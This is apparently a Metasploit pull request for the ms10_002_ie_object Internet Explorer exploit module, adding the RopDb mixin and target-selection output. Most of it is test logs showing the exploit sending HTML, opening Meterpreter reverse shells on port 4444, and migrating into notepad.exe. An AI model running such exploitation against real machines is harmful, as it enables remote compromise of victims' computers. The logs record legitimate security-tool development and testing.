Use RopDb, and print what target the module has been selected.

[wchen-r7]

This pull request has the following changes:

• RopDb mixin
• Print the target selection

Test Results:

Test #1:

msf  exploit(ms10_002_ie_object) > [*] Server started.
[*] 10.0.1.7         ms10_002_ie_object - Target selected: IE 8 on Windows 7 SP0
[*] 10.0.1.7         ms10_002_ie_object - Sending HTML
[*] Sending stage (752128 bytes) to 10.0.1.7
[*] Meterpreter session 4 opened (10.0.1.3:4444 -> 10.0.1.7:49159) at 2012-10-07 01:38:19 -0500
[*] Session ID 4 (10.0.1.3:4444 -> 10.0.1.7:49159) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2564)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2968
[+] Successfully migrated to process

Test #2:

msf  exploit(ms10_002_ie_object) > [*]  Local IP: http://10.0.1.3:8080/z7uDAsVGewMR
[*] Server started.
[*] 10.0.1.6         ms10_002_ie_object - Target selected: IE 8 on Windows XP SP3
[*] 10.0.1.6         ms10_002_ie_object - Sending HTML
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 5 opened (10.0.1.3:4444 -> 10.0.1.6:1061) at 2012-10-07 01:42:04 -0500
[*] Session ID 5 (10.0.1.3:4444 -> 10.0.1.6:1061) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (880)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2288

[jvazquez-r7]

Eyeballed, looks good, and tested successfully on Windows XP SP3:

rmsf  exploit(ms10_002_ie_object) > rexploit
[*] Reloading module...
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/ZW9XzC
[*]  Local IP: http://192.168.1.128:8080/ZW9XzC
[*] Server started.
msf  exploit(ms10_002_ie_object) > [*] 192.168.1.152    ms10_002_ie_object - Target selected: IE 8 on Windows XP SP3
[*] 192.168.1.152    ms10_002_ie_object - Sending HTML
[*] Sending stage (752128 bytes) to 192.168.1.152
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.152:1386) at 2012-10-07 17:33:47 +0200
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.152:1386) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2648)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2512
[+] Successfully migrated to process